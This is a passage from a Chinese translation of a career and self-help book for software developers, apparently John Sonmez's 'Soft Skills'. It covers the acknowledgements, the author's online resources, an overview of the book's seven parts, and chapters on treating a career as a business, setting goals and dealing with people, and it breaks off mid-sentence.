也没有哪本书不是仰仗很多人的帮助才得以出版和发行的。这本书也不例外，所以在这里我愿意花一些时间感谢我生命中的“巨人”们。\n首先，我要感谢那些对我的生活产生了积极影响的人，是他们助我成为今天的我，也正是他们助我意识到我还有很长的路要走。\n我要感谢我的同事和老板。我要感谢在我的整个职业生涯中，那些诘责过我的人、指导过我的人、让我尽情发挥的人和在大事不妙之前助我悬崖勒马的人。要感谢的人太多了，无法一一列举姓名，但你们都知道我指的是谁。\n我要感谢我读过的那么多书的作者，这些书使我成为一个更好的人，给我新的人生视角。同样，要感谢的人太多了，无法一一列举姓名，但是，如果必须要列举几个，Robert C. Martin（Bob大叔）、Steven Pressfield和Dale Carnegie（戴尔•卡内基）的名字浮现在我的脑海中，这些都是我阅读过的作者中最有影响力的。\nRobert C. Martin在百忙之中拨冗来为我的书作序，即使我请求他写序的时间太晚，因此我要特别感谢并深感荣幸。我也非常高兴，Scott Hanselman同样也是在最后一刻受托作序，他与我分享了很多关于开发人员所需要的软技能的看法。我真诚地感谢他们两人赞同我书中的观点。\n我要特别感谢我的家人，尤其是我的妻子Heather和我的女儿Sophia——她们被迫要应对我的情绪波动，忍耐我经常无法兑现的承诺，忍耐我在写作这本书的过程中的种种疯狂。我的妻子同时也是本书的校对者，她认真研读了其中每一个章节，纠正其中的错误，然后我才敢发送给编辑——上述工作让我看起来比我自己有才得多。\n我还想感谢我的爸爸Sahin。他教会我努力工作的价值——没有这个，这本书将永远不会被排入写作计划的首位，就算是排了也不会有什么可写的呢！\n我不能忘记我的妈妈Laura。她比谁都更令我懂得：不管别人怎么说，一定要相信我自己——这正是一个企业家不可或缺的素质！\n我还要感谢Derick Bailey、Josh Earl和Charles Max Wood，他们以“Entreprogrammer”（程序员企业家）播客（http://entreprogrammers.com）而著称。他们都是我的每周策划组的一员，正是他们的鼓舞、激励、鞭策乃至质疑推动了我在写作本书中的每一步。\n当然，我要感谢Manning出版社的每一位员工。没有他们，这本书就不会被出版，或者即使出版也可能面目全非。\n首先，感谢Manning的出版人Marjan Bace，他有先见之明，认识到这本书正是软件开发人员所需要的。\n接下来，我要感谢本书的编辑Robin de Jongh，他使我成为Manning的作者，帮我想出了“软技能”这个概念，并且在写作本书的过程中提供支持和鼓励。\n我也想感谢我的责任编辑Cynthia Kane，她审查本书最初版本的稿件，她的反馈和建议更加激发了我继续写作的勇气，而不是泄气。\n多亏了Candace Gillhoolley，他为本书的市场营销做出了杰出的工作，他教给我的有关市场营销的几个技巧，我在未来将会继续使用。 非常感谢Jodie Allen和Mary Piergies，她们完成了艰巨的工作——协调本书在生产环节的各种事务。一并感谢Jodie校对了整本书稿。\n还要非常感谢Rebecca Rinehart，是她协调MEAP（Manning Early Access Program，Manning早期访问计划）能够发布本书。她还要应对我对本书封面极端吹毛求疵的挑剔。最后，她还促成Manning进行了一项客户问卷调查，由预订本书的读者选择封面的最终版本，这在Manning所出版的众多的书籍中留下了历史性的一页。\n还要感谢图形艺术家Višeslav Radović，他完整无误地将我在本书中传达的信息以插画形式呈现出来。同时一并感谢为出版本书而辛勤工作的Manning出版社的所有工作人员。\n特别感谢阅读了本书早期草稿的评阅者们，他们的评阅意见有助于改进本书：Heather Campbell、Ionel Condor、Luke Greenleaf、Robert Hanson、Rebecca Jones、Anita Lugomer、Matthew Margolis、Javier Muñoz Mellid、Edward G. Prentice、Alvin Scudde、Craig Smith、David Stanek、Lourens Steyn和Jerry Tan。\n最后，我要感谢Simple Programmer网站的所有访问者。你们中许多人向我提问，提供反馈意见，鼓舞和激励我，正是你们的这些贡献让我可以完成每一项工作。\n关于本书\n嗨，我很开心你能挑选这本书。但是，没准儿你还正犯懵呢。这本书到底写的是什么？到底什么是“程序员必备的软技能”？这是一个很棒的问题，我来尝试着言简意赅地回答一下。\n试着设想一下这种场景：这儿有一大堆好书，这本教你如何写出更好的代码，那本可以让你学习一种新的技术，那边几本是关于团队合作和项目运营的，或许你还可以找到几本讨论如何改善职业规划的，还有几本直接就是教你如何解答面试题目的。但是，你可曾看到过这样的一本书，告诉你如何成为一个比现在更棒的软件开发人员？\n你可曾看到过这样一本书，不仅告诉你如何谋到更好的工作、赚更多的钱，而且还会告诉你如何花钱、如何最终摆脱那份差事成为一名企业家？——如果你心怀此愿的话。\n你可曾看到过这样一本书，告诉你在软件开发行业构建自己声望的各个步骤，教会你如何在身体上、精神上和心灵上更强大、更健康？\n我尚未看到过，而这就是我决定要撰写本书的原因——阐述上述所有问题，以及更多。\n不管你是谁，这本书都是为你而作的。我可不是轻描淡写地随便说说哦！这本书里的各个章节包罗万象，从揭秘面试的流程到精耕细作出一份杀手锏级简历，从创建受欢迎的博客，打造属于你自己的个人品牌，到提高自己的生产效率，与倦怠做斗争，甚至包括如何投资房地产，如何减肥。\n你还会发现，本书中有一整篇专门探讨我自创的关于快速学习的方法。使用这种方法，我在不到两年的时间里为在线教育公司Pluralsight创建了55门在线培训课程。\n严肃点说，无论你是谁，不管你在自己的软件开发职业生涯中身处何处，这本书对你都是大有裨益。本书中甚至有一章在论述如何约会某位“特殊人物”——你懂我的意思！\n在第1章里，我将会告诉你关于本书内容的更多细节，以及它们之间是如何组织的。但是，在你沉浸其中之前，我要列出一些对你阅读本书或许有所帮助的在线资源。你会发现本书各章散落着一些有用的链接，下面这些是对你大有帮助的一些网站。\n在线资源\n“Simple Programmer”博客：http://simpleprogrammer.com\n在这里你会看到与本书里许多话题都相关的海量博客文章，它也是与我本人联络的最佳方式。每周我都会在这里免费发布一些有用信息（当你浏览博客的时候，确保你注册了我的邮件列表，这样你就可以获得各式各样的赠品和我每周创建的别的好东西）。\n我在YouTube上的自建频道：http://youtube.com/jsonmez\n在这里你将会看到与本书里许多话题相关的视频材料，全都是免费的。如果你对我在本书中讲述的某个话题感兴趣，试着搜索一下YouTube中我的自建频道——十有八九你都能找到我上传的相关视频材料。\n“软件开发人员如何营销自我”课程：http://devcareerboost.com/m\n如果你对本书中“如何自我营销”这一章特别感兴趣，可以到这个网站上购买全套课程，深入了解如何构建个人品牌使你自己在软件行业中占有一席之地。到目前为止，这是我的著作中最受欢迎的部分。因为你已经购买本书，所以我要给予你特别折扣——使用代码SOFTSKILLS将获得100美元的抵扣。\n“十步快速学习法”课程：http://simpleprogrammer.com/ss-10steps\n这是另外一门深入课程，探讨我在本书“学习”篇中教你的方法之细节。如果你对这一篇内容深感兴趣，想更加深入地了解该主题，关注这个课程，可以发现更多内容。\n“Entreprogrammers”网站：http://entreprogrammers.com\n如果你立志成为一名企业家，或者已经开始创业了，可以关注这个免费的每周播客，这是我和其他3位开发者/企业家（或曰：开发者企业家）联合开发的。\n-“Get Up and CODE”网站：http://getupandcode.com\n最后，如果“健身”篇令你眼前一亮的话，那你也会喜欢这个免费播客。这是我为软件开发人员和IT专业人士专门准备的。\n作者在线\n购买本书可以免费访问由Manning出版社运营的专属网上论坛，在这里你可以发表针对本书的各种评论，提出问题并获得来自作者和其他读者的帮助和反馈。要想访问该论坛，请从浏览器上登录www.manning.com/SoftSkills并注册。\n该页面提供了以下信息：注册后如何登录本论坛，论坛将提供哪些帮助，论坛的行为规范。只要本书一直在售，“在线作者”论坛及既往讨论的备份文件都可以在出版社的网站上访问。\n第1章 为何这本书与你先前读过的任何书籍都迥然不同\n多数软件开发的书都是有关软件开发本身的，本书却不是。有大量的书论述如何编写优质代码、如何利用各种技术，但是很难找到一本能够告诉我“如何成为一名优秀的软件开发人员”的书。\n当我说到“优秀的软件开发人员”时，我并不是说要精于编码之道，善于解决缺陷，通晓单元测试。相反，我所说的“优秀的软件开发人员”，是那些能够把控自己的职业生涯、达成目标、享受生活的人。当然，其他技能都很重要，不过我还是假定你已经精通如何使用C++语言实现排序算法，或者知晓如何确保写出的代码不至于让你的后继维护者恨不得驾起他们的小汽车从你身上碾过……\n毋庸置疑，这本书并不是在讨论“你能做什么”，这本书讨论的是“你自己”——关于你的职业生涯、你的生活、你的身体、你的思想以及你的灵魂——如果你确信灵魂存在的话。现在，我并不希望你把我想象成为某种类型的疯子。我不是一个持超验主义思想的和尚，能坐在地板上一边冥想一边抽着仙人掌叶子做成的卷烟，还试着帮你提升到更高层次的顿悟。恰恰相反，我觉得你会发现我是一个非常脚踏实地的人，我不过恰好正在思索——作为一名软件开发人员如何超越编写代码本身？\n我拥抱所有的软件开发方法。这意味着，我认为，如果你想真正成为一个更好的软件开发人员（或者其他真正优秀的人才），你需要把重点放在整个“人”上，而不只是你生活中的一两个领域。\n这就是这本书的由来，也是这本书的初衷。现在，显然我不可能在这本书的短短篇幅里包罗万象、涵盖生活当中的方方面面，我也没有丰富的经验或智慧来解决这个如此广泛的课题，但我可以通过将本书的内容聚焦于软件开发人员的生活主要方面，在这里我恰好有一些经验和专业知识也许可以让你最大可能地受益。\n在这本书里，你会发现不少看似无关的主题串联在一起，但这种无序的背后其实另有深意。本书共分为七篇，每一篇都聚焦在软件开发人员生活的不同方面。如果你想为这些内容分类和分组，最简易的方法是将它们看成是事业、思想、身体和精神四个方面。\n我们将从谈论你的职业生涯开始，因为我觉得这是大多数软件开发人员所要关注的最重要的领域之一。我发现软件开发人员很少真正充分积极地考虑过如何管理自己的职业生涯。在第一篇“职业”中，我想要站在你的立场上帮助你解决这个问题。我将教你到底该如何主动地管理自己的职业生涯，从而达到自己追寻的结果：可能是正在企业内部“攀登职场阶梯”，也可能是开创自己的咨询业务，甚或是成为一名企业家创造自己的产品。我已经亲身历经了所有这三种。我也曾经面试过数不清的软件开发人员，你将学习到这些经验教训，从而避免在前进的道路上盲目行走。我还会论述你需要具备的一些与职业目标无关但依然很重要的技能，例如，如何创建一份令人过目不忘的简历，如何掌握面试技巧，如何远程工作，以及如何获得当前大家都在津津乐道的优秀的人际交往能力。\n在第二篇“自我营销”中，我们会触及一个我自己很心仪的话题：如何推销自己。“市场营销”，听到这个词组你会有什么感觉？当我提到这个词组时，大多数软件开发人员会觉到很不爽，可能还会有点恶心。但是，当这一篇结束时，你会对这个词组有一个全新的评价，明白它为什么如此重要。人人都是推销员，只是有些人把销售这项工作搞得臭名远扬。在这一篇中，我会帮助你学习如何成为一个更好的销售人员，确切地了解你要“销售”什么。这与阿谀谄媚毫不相干，也与发送“如何一夜暴富的秘诀”之类的垃圾邮件这样的小把戏风马牛不相及。相反，它会包含很多切实可行的具体建议：如何打造个人品牌，如何打造一个成功的博客，如何通过演讲、教学、著书立说的方式让你扬名立万……所有这一切你可能从来就没有考虑过。如果你拥有了这些技能，就相当于为你从第一篇学到的东西插上了一个倍增器，可以用来取得更加丰硕的成果。\n与职业生涯相关的内容讨论完毕，这一次将过渡到你的心灵境界，我们来到第三篇“学习”。学习是每一位软件开发人员生活中的重要的一部分。可能并不需要我来告诉你，软件开发人员或者任何一位IT专家最常见的特质之一就是学习。学习如何学习，或者说如何自学，这是你能掌握的最有价值的技能。掌握自学能力能够让你做想做的事情。遗憾的是，在我们成长过程中，我们被迫接受的大多数教育体系是支离破碎的，因为它们都依赖于一个错误的前提：你必须要有老师去教，学习只在一个方向上流动。我并不是说教师或导师不重要，但是在这一篇中，我将向你展示如何依靠自己的能力和常识、辅以一点点的勇气与好奇心，就能获得更好的成果，这比通过聆听空洞的说教或是疯狂记录笔记所能取得的效果更好。我还会带你领略我自己开发的“十步学习法”，通过使用该方法，我学会了如何在两年内为在线培训公司Pluralsight开发出50多门在线开发者培训课程。另外，我还将介绍一些关键的话题，例如，如何找到一位好导师，如何成为一位导师，以及你是否需要借助传统的教育和学位而取得成功。\n接下来还是与心灵有关的主题，第四篇“生产力”。你猜对了，这一篇是关于如何让工作更加富有成效的。这一篇的目的就是助你一臂之力，督促你让你火力全开。对于许多软件开发人员来说，生产力都是一场巨大的斗争，也是阻碍你成为成功人士的最大障碍（没有之一）。你可以让生活中的一切都井井有条，但是，如果你不知道如何克服拖延症、混乱症和懒惰病的话，你将很难开足马力全速前进。我曾把自己的那份动力消磨殆尽，好在最终我想出来了一个方法，令我可以在人生的高速公路上以最快的速度巡航。在这一篇中，我将与你分享该方法。另外，我还将解决一些困难的课题，例如倦怠，看电视太多，如何寻找动力去探究并完成那些无趣老套的脏活累活。\n在第五篇“理财”中，我们又会论及另一个常常被完全忽略的话题——个人理财。你可以成为这个世界上最成功的软件开发人员，但如果你不能有效地管理你赚到的钱财，可能终究会有那么一天，你要站在街角，举着一个牌子，上面写着“写代码换晚餐”。在这一篇中，我会带你来一场有关世界经济形势和个人理财的疯狂之旅，我会告诉你“做出明智的理财规划”所需要知道的基础知识，令你可以真正开始规划自己未来的财务。我不是理财规划师，也不是专业的股票交易员，不过除了作为软件开发人员，从18岁开始我就是一名专业的房地产投资者了。所以关于“理财”这个话题，我可是有好多好主意呢！关于这个话题我们不会探讨得很深入，因为论述这个话题的书籍可谓是汗牛充栋。我想教给你的是如何管理收入的基础知识：股市如何运作，如何投资房地产，如何避免债务。作为额外的奖励，我还要跟大家分享我的故事：我是怎样利用这些原则有效地实现在33岁时退休的（可不是通过高价卖掉一家创业公司）。这真的不是那么难，任何人都可以做到这一点。\n现在，我们得谈谈这个有趣的篇了——关于你的身体。你准备好参加新兵训练营了吗？在第六篇“健身”中，我将教你如何减掉脂肪、增加肌肉、给身体塑形。我认识的大多数软件开发人员，不是超重就是亚健康或者体虚乏力……好吧，“知识就是力量”，作为一个参加过健美比赛、主持了一个程序员健身播客的软件开发人员，我很高兴与你分享我所学到知识——为了使生活最终尽在你掌控之中，你需要这些知识。在这一篇中，我将带你浏览饮食和营养的基本知识，解释你吃的东西是如何影响到你的身体的。我还会告诉你如何制订一项成功的健身计划，如何通过饮食来减肥、增加肌肉，或者两者兼顾。我甚至还会涉及一些具体的话题，比如站立式办公桌和极客用健身装备。\n最后，在第七篇“精神”中，我们将一头扎进形而上学的世界，来找寻海市蜃楼般的“机器中的精灵”。尽管这一篇的标题是“精神”，但是别被它骗了。我给大家介绍的，都是会影响情绪状态和态度的真实的、实用的建议。我假设你可以将这一篇称为本书的“自助部分”，虽然我不是特别喜欢这个词。在这一篇中，我将主要专注于帮你重新连接你的大脑，从而创造出通向成功之路所必需的积极态度。我们也将简要介绍恋爱和人际关系，因为即便许多技术上出类拔萃的人，也会觉得这两样都是难以捉摸的。我也会给你提供一份我的成功学私房书单，这个书单列出的是过去这些年来我已经读过的书，而这些书也是这些年来我遇到那些知名人士向大家推荐阅读的。\n所以，继续前进吧，让自己陶醉其中吧，让善于分析的头脑迎接变革到来的这一天吧，准备好钻研这本有关软件开发的与众不同的书吧。\n第一篇 职业\n你所能犯的最大错误就是相信自己是在为别人工作。这样一来你对工作的安全感已然尽失。职业发展的驱动力一定是来自个体本身。记住：工作是属于公司的，而职业生涯却是属于你自己的。\n——厄尔•南丁格尔\n很少有软件开发人员会主动管理自己的职业生涯。可是，成功的软件开发人员之所以能成功都不是偶然的。他们目标明确，为了达成目标，他们制订了坚实可靠而又深思熟虑的计划。如果你真的想在软件开发这个充满竞争的世界里脱颖而出，那么你要做的远远不止一份光鲜靓丽的简历，以及任何碰巧获得的工作。你需要通盘考虑之后再决定——要做什么，什么时候做，以及如何义无反顾。\n在本篇中，我会带你体验决策过程：你要决定自己想要从软件开发这个职业中获得什么，以及如何去获得。\n第2章 从非同凡响开始：绝不要做他人都在做的事\n想象一下，炎炎夏日，你席地而坐，欣赏一场美妙的烟火表演，在你的四周各色烟火接二连三地升腾炸开，绽放成蓝色、红色、紫色和黄色的绚烂花朵，震耳欲聋。这时你注意到一支特别的烟火，它拔地而起跃入空中，然后呢……它没有爆炸，也没有“嘭”的那声巨响，哑火了。你希望自己的软件开发职业生涯更像是其中哪朵烟花？腾空而起一鸣惊人，还是虽然到达了某个高度，但之后就悄无声息地回归地面？\n拥有商业心态\n大多数软件开发人员从职业生涯一开始就犯了几个严重的错误。截至目前，最大的错误就是没有把自己的软件开发事业当作一桩生意来看待。不要被愚弄了，当你为了谋生一头扎进写代码的世界时，其实你和中世纪小镇上开铁匠铺的铁匠没什么差别。确实，时代或许已经改变了，我们中大多数人现在为公司工作，但是我们的技能和生意都还是自己的，我们随时都能换个地方另起炉灶。\n这种心态对于管理职业规划至关重要。因为只有你开始把自己当作一个企业去思考时，你才能开始做出良好的商业决策。但是，如果你已经习惯于领取一份固定的薪酬（注意，你的工资还真不是取决于你的表现），这会很容易导致你产生另一个心态——你只是在为某家公司打工。尽管在你的职业生涯的某个特定时间段里，你可能确实是在为某家公司打工，但是千万不要让那个特定的角色固化了你和你的整个职业生涯——这一点非常重要！\n把雇主当作是你的软件开发企业的一个客户吧。当然，你可能只有这么一个客户，你所有的收入都是从这一个客户处得来的，但是这种诠释雇用关系的方式可以将你从仰人鼻息的弱势地位转换成为自我治理和自我引导的主动地位。（事实上，许多真正的公司也就只有一个大客户，这个客户给它带来了大部分的收入。）\n提示\n 这是你职业生涯中必须要做的第一要务：转变你的心态，从被一纸“卖身契”束缚住的仆人转变为一名拥有自己生意的商人。在起步阶段就具备这种心态会改变你对职业生涯的思维方式，将此铭记在心，并积极主动地管理自己的职业生涯。\n如何像企业一样思考\n现在，仅把自己当作一个企业来思考并不会给你带来太多的好处。要想从中有任何收获，你必须弄明白如何思考。让我们来谈谈如何将自己当作一个企业，以及这究竟意味着什么。\n我们可以先从思考企业是由什么构成的开始。大多数成功的企业都需要以下几样东西。首先，要有一个产品或服务。不能提供东西的企业是没办法赚钱的，因为没有东西可卖。你有什么可以卖？你的产品或服务是什么？\n作为一名软件开发人员，你也许有一款真实的数字产品可以卖（这个话题我们会在第13章中谈到），但是，大多数软件开发人员卖的是开发软件这项服务。“开发软件”是一个含义很宽泛的术语，可以覆盖各种各样的活动和个性化服务。不过，通常软件开发人员售卖的就是他们把一个想法变成一个数字化的现实产品的能力。\n注意\n 你所能提供的服务就是创建软件。\n即使只是想一想“作为一个企业我能提供什么”，就会对你如何考量自己的职业生涯产生深远的影响。企业需要持续不断地改进和完善自己的产品。你也应该这么做。作为一名软件开发人员，你提供的服务具备有形价值，你要传达的不仅是这款软件的价值是什么，还有它与别的成千上万款软件开发人员提供的服务有何不同。\n如此这般，我们就把自己推向了营销，关于这一点我们将在下一篇中展开讨论。同时，有一点很重要：你需要认识到仅有服务或产品是不够的。想赚到钱，你就必须能让潜在的客户了解该产品或服务。全世界的公司都认识到了商业社会的这一核心真理，这也是他们在市场营销上投入重金和精力的原因。作为一名提供服务的软件开发人员，你也要关注市场营销。产品营销做得越好，你就能给服务定越高的价格，也越有机会吸引更多潜在的客户。\n你可以想象，大多数软件开发人员在开始的时候并不是以这样的方式来规划自己的职业生涯的。他们伴着一首声音低得几乎听不见的流行音乐一头扎进工作中，根本不能做到“非同凡响”。所以，千万别像他们这样。\n相反地，你需要做到：\n专注于你正在提供怎样的服务，以及如何营销这项服务；\n想方设法提升你的服务；\n思考你可以专注为哪一特定类型的客户或行业提供特定的服务；\n集中精力成为一位专家，专门为某一特定类型的客户提供专业的整体服务（记住，作为一个软件开发人员，你只有真正专注于一类客户，才能找到非常好的工作）。\n另外，还要想想如何更好地宣传你的服务，如何更好地找到你的客户。大多数软件开发人员在写好一份简历之后就随意丢给一些公司和招聘人员。但是，当你把职业生涯当作一个企业时，你真的认为这就是你拓展潜在客户的最佳途径或唯一方法吗？当然不是。大多数成功的公司都会开发出让客户主动上门购买的产品或服务，它们才不会一个接一个地追逐客户。\n在本书第二篇中，我们将讨论一些技巧，运用这些技巧，即使你做同样的事，也可以助你变成更具市场敏锐度的软件开发人员。即便还没有讨论到这些细节，那么跳出思维定势，开始像企业一样思考，也是关键所在。能够吸引客户的最佳方法是什么？如何将你的服务告知你的客户？如果你能回答这些简单的问题，你将开创出属于自己的非同凡响的职业生涯！\n采取行动\n想象一下：有一家企业，拥有某个产品或服务。他们将如何推广这一产品或服务从而可以做到卓尔不凡？\n如果只用一句话来描述你能为潜在雇主或客户提供怎样的特定服务，这句话是什么？\n把你的职业当作是一个企业，将会影响到你的：\n工作的方式；\n处理自己的财务的方式；\n寻求新工作或新客户的方式。\n第3章 思考未来：你的目标是什么\n现在，你已经将你的软件开发职业当作是一个商业活动，那么，是时候着手定义你的业务目标了。\n每个人都是独一无二的，你为自己设立的职业目标肯定与我的不同。但是，要实现任何目标，都必须先知道目标是什么。当然，说比做要容易得多。我发现大多数人，包括软件开发人员在内，要么缺乏对自己人生目标的具体认知，要么没有尽力去实现自己的人生目标，浑浑噩噩混过一生。这是大多数人的自然状态。我们通常不会充分思考自己该关注什么，因而我们的行动也就漫无目标、无的放矢。\n想象一下你登上了一艘即将横渡海洋的大船。你会像大多数人那样，一跳上船就升起风帆。但是，如果没有选定明确的目的地，你就无法掌舵让这艘船朝着目标方向航行，而只能在大海上漫无目的地漂流。或许你的船能偶然到达某个小岛或者某片陆地，但是，如果没有确定自己的目的地，你永远都不会取得实质性的进展。一旦明确了目的地，你就会向着目标全力以赴。\n这看起来似乎很显而易见，但确实鲜有软件开发人员能够为自己的职业生涯设定目标。为什么呢？我只能揣测。我要说，大多数软件开发人员都害怕为自己的职业生涯设定一个长远的蓝图。因为惧怕选定后要一往无前，他们希望自己有各种选择。“如果这条路错了我该怎么办呢？”“如果我不喜欢自己选的路又该怎么办呢？”这些问题确实有些可怕。\n有一些开发人员甚至都没有花太多心思去仔细思考这个问题。为了安逸，我们倾向于遵循已经设计好的路线。要创造自己的路线非常艰难，所以我们不会去做。事实上，我们会接受第一份录用通知提供的工作，一直待下去，直到有更好的机会出现，或者被解雇（我的意思是“下岗”）。\n无论因为何种原因你没有为自己的职业生涯设定目标，现在都是时候设定目标了。不是明天，也不是下周，就是现在。没有明确的方向，你走的每一步都是徒劳的。不要随心所欲地生活，不要随遇而安地行走在职业生涯的漫漫长路上。\n如何设定目标\n好了，现在我已经说服了你，你需要设定一个目标，那么接下来你该怎么做呢？起步阶段最简单的就是在心中树立一个大目标，然后再建立能帮你达成这个大目标的小目标。因为很难清晰地界定远期可能发生的事情，所以大目标通常不是非常明确。不过没关系，当你制订远期的大目标时，不一定要非常具体。大目标只要足够具体到给你提供清晰的方向即可。让我们回到前面关于航海的类比。如果我想航海去中国，我没必要立刻知道要驶向的港口的精确的经纬度。我可以跳上船，向着中国的航向前进。随着离目标越来越近，我就能获得更具体的数据。启航后我需要知道的就只是自己离中国越来越近，还是越来越远。\n大目标并不需要那么具体，但是必须足够清晰，能够让你知道自己是在向它前进还是离它越来越远。想一想你的职业生涯的终极目标。想成为一家公司的经理或主管？想在某一天走出去开拓自己的软件开发业务？想成为一名企业家创建自己的产品并将其推向市场？对我来说，我的目标一直都是最终能凭自己的能力走出去，为我自己工作。\n这一切都取决于你确定的大目标是什么。你希望从职业生涯中收获什么？你希望自己5年或10年后在哪里？来吧，花点儿时间思考一下——这的确非常重要。\n一旦你想通了自己长远的大目标是什么，下一步就是设定路线，制订通往大目标的小目标。有时还可以运用一下逆向思维，反推一下如何从大目标到当前的情况：如果你已经达到了大目标，那么沿途你都经历了哪些里程碑？你能想象出哪条路径可以让你从大目标反推到你现在的情况？\n有一段时间，我给自己设定了一个大目标——减掉100磅。我不能让自己身材走形，我想重回正轨。我还为自己设定了小目标——每两个星期减掉5磅。每两个星期我都能达到我的小目标，推动我向着大目标前进。\n如果你可以驱动小目标逐渐前行并靠近你的大目标，那么最终你一定会到达目的地。设定大小不同的目标，确保你向着自己的大目标前进，这一点非常重要。例如，你设定了一个年度目标，阅读很多技术书籍，或是学习新的编程语言。这个年度目标可能是引领你走向“成为一名高级开发人员”这个大目标的小目标。同样，每年的目标可能被分解成更小的目标，比如每月阅读一本书，或者每天读多少页。\n设置目标的步骤\n较小的目标可以让你航行在自己的轨道上，激励你保持航向朝着更大的目标前进。如果你准备达成一个大目标，却没有分解为小目标，那么当你偏离航向时也不会有时间去校正。达成较小的目标也能经常奖励自己，帮助并激励自己。每一天、每一个星期的小胜利会让我们觉得自己正在取得进展、达成目标，这让我们感觉良好，帮助我们继续前进。较小的目标似乎也不像大目标那样令人望而生畏。\n想想这本书的写作。我给自己设定的目标是：每天要写多少，每周要写多少。这样，我就不会再纠结写完整本书这一大目标，相反，我从自己的每日目标的角度出发，清楚地知道自己每天要做什么，最终实现了写完这本书这一大目标。\n如果你还没有足够的时间去思考自己的未来，你还没有一个清晰、明确的目标，那么赶快放下这本书，为自己确定一些目标。这并非易事，不过你会很高兴自己那么做了。不要成为大海上漫无目的随波逐流的船。启航之前总要规划好航海图。\n追踪你的目标\n你应该定期追踪并更新自己设定的目标，必要时还要调整。你并不想偏离航海图数英里之后才发现自己走错了方向，也不想沿着一条路线走了很远却发现这条路是错的。\n我建议你定期核对自己的目标。这有助于在必要时进行调整，让你对自己负责。你可能愿意在每周末为下一周设定目标之前先检查上周设定的目标。这同样适用于每月、每季和每年。\n反思自己在短期和长期取得的成果是大有裨益的，你能够弄清自己是否取得了合理的进展，或者是否需要进行某些调整。\n采取行动\n坐下来，为你的职业生涯设置至少一个大目标。\n将大目标分解成相应的若干小目标，例如：\n月度目标；\n周目标；\n每日目标。\n把你的大目标写在自己每天的必经之地，每日三省吾身——我在追求什么。\n第4章 人际交往能力：远比你想象的重要\n在一定程度上，这本书全都是关于人际交往能力或曰“软技能”的。作为正在阅读本书的一名读者，你可能至少在某种程度上意识到了人际交往能力对你的生活和职业生涯的重要性。不过在本章中，我将更深入地阐述为什么人际交往能力如此重要，以及你做哪些事情来获取这种能力。\n别管我，我只想一个人安静地写代码！\n我曾经对软件开发人员的工作的印象就是写代码。我知道自己不是唯一一个抱有这种“罪恶”想法的人。\n事实是，在软件开发领域，我们大多数时候是与人而非与计算机打交道。甚至我们所写的代码首先是供人使用的，其次才是让计算机可以理解的。如果不是这样，我们干脆直接把代码写成0/1这样的机器语言好了。如果你想成为一名出色的软件开发人员，就得学会高效地与他人相处（即使写代码是你工作当中最为享受的一部分）。\n仔细想想自己在工作中有多少时间用在了与人互动上，你马上就能意识到改善人际交往能力的价值——早上上班，你坐下来之后干的第一件事情是什么？没错，检查电子邮箱。那是谁给你发邮件呢？是计算机吗？是你的代码给你发邮件，要求你去完成它、优化它吗？都不是！邮件是人发的，任务是人布置的。\n白天你会开会吧？你会与同事商讨你正在处理的问题，制订解决策略吧？当你终于坐下来写代码的时候，代码要写什么？需求从何而来？\n如果你还是觉得自己的工作就是写写代码，那你最好要三思。作为一个软件开发人员，你的工作就是与人打交道（其实几乎所有的职业都是这样）。\n学会如何与人打交道\n许多优秀的书籍都已经论述了“如何与人打交道”这个主题，我也会在第七篇列一个我本人的书单，列出我认为其中最好的书，所以我并不打算在本章这短短的篇幅里做到面面俱到。但我想介绍一些你应该了解的基本概念，这样可以事半功倍。我会大量引用我永远的最爱——Dale Carnegie的《人性的弱点》（How to Win Friends and Influence People）［Gallery Books，1998］一书中的观点。\n每个人都希望感到自己很重要\n当你和别人打交道的时候，你应该知道的最重要的一个概念就是：以自己为核心，每个人都希望自己很重要。这是人类最深邃、最致命的欲望之一，也是社会和生活中取得伟大成就的主要动机。\n每当你与他人交流时，请谨记这一准则，并时刻洞察自己将会对人类的这一基本需求有何影响。一旦你贬低他人，削弱他们的成就感，在某种程度上就如同切断了他们的氧气补给，获得的回馈将完全是抓狂和绝望。\n我们常常容易犯的一项错误就是，轻率地否决同事的想法，以便于可以提出自己的想法。然而随着你作出这样的错误判断，你往往会发现他们对你的想法充耳不闻，仅仅因为你让他们感觉自己是无足轻重的。如果你希望人们接受你的想法，并认可其中的价值，首先你最好先主动给他人相同的礼遇。如果你不能保全他人的自尊，那你永远也不可能赢得他的心。\n永远不要批评\n理解了第一个概念后，你应该能马上意识到“批评”是一项很少能够达成你期望结果的工具。我曾经是一个“伟大”的批判者。我曾经认为，相较于奖励，处罚是一个更有效的激励手段，但我大错特错了。\n一项又一项的研究表明，奖励积极行为要比惩罚消极行为有效得多。如果你身处领导管理岗位，这是一条值得遵守的重要原则。如果你想激励他人做出最好的表现，或者希望达到改变的目的，你必须学会管住自己的舌头，只说些鼓励的话。\n也许，你目前的老板或者曾经的老板缺乏对这一原则的清醒认识，他们对所有的错误行为总是报之以直接而又严厉的批评。对此你的感觉如何？批评能否让你感到被激励，从而将工作做得更好？不要指望其他人对批评会有截然不同的反应。如果你想去激励团队鼓舞士气，那么就用表扬代替批评吧。\n换位思考\n在人际交往方面获得成功的关键在于：停止用“我”和“我想要什么”来思考。你应当开始思考对他人而言什么才最重要，什么才是他们需要的。通过这种换位思考，你会避免让他人觉得自己不受重视，你也能少批评人。被你用这种方式对待的人，也更可能用讨人喜欢的方式与你打交道，也更认可你的想法的价值。\n当你第一次与某位同事或者老板谈话的时候，请试着将注意力从自己身上转移到他们身上，试着从他们的角度来思考问题。是什么让他们感到索然无味？什么对他们又是至关重要的？聚精会神地聆听，当轮到你发言的时候，娓娓道来，一语中的。（实际运用中，你可以提前排练一下这种场景，提前准备好如何进行这种谈话。）\n直截了当地告诉老板为什么你喜欢想用某种方式实现某个功能，这并不明智。更好的办法是从对方的心态出发提出建议，阐明为什么采用你建议的方法实现该功能对老板非常有用。理由可能是“让软件更稳定”，或者“能让软件按时交付”。\n避免争吵\n作为软件开发人员，我们有时候倾向于认为所有人都是从逻辑角度来思考问题的，这很容易让你落入陷阱，错误地认为严谨的推理足以使他人接受你的思维方式。\n事情的真相是：尽管我们为自己的智慧感到骄傲，但我们依然是情感动物。我们就像那些穿着西装、打着领带、四处游荡的小孩，假装自己已经长大，其实任何轻微的伤害都能让我们号啕大哭，或者大发雷霆，我们只是已经学会了如何控制和隐藏这些情绪。\n出于这个原因，我们必须要不惜一切代价避免争吵。既然逻辑和纯粹的理性无助于说服一个尖声大叫的小孩明白睡觉能让他得到充分的休息，那么，你也不可能依此方法来说服一位备受轻视的同事接受“我做事的方式才是最好的”。\n“据我所知，普天之下解决争吵的灵丹妙药只有一个，那就是避免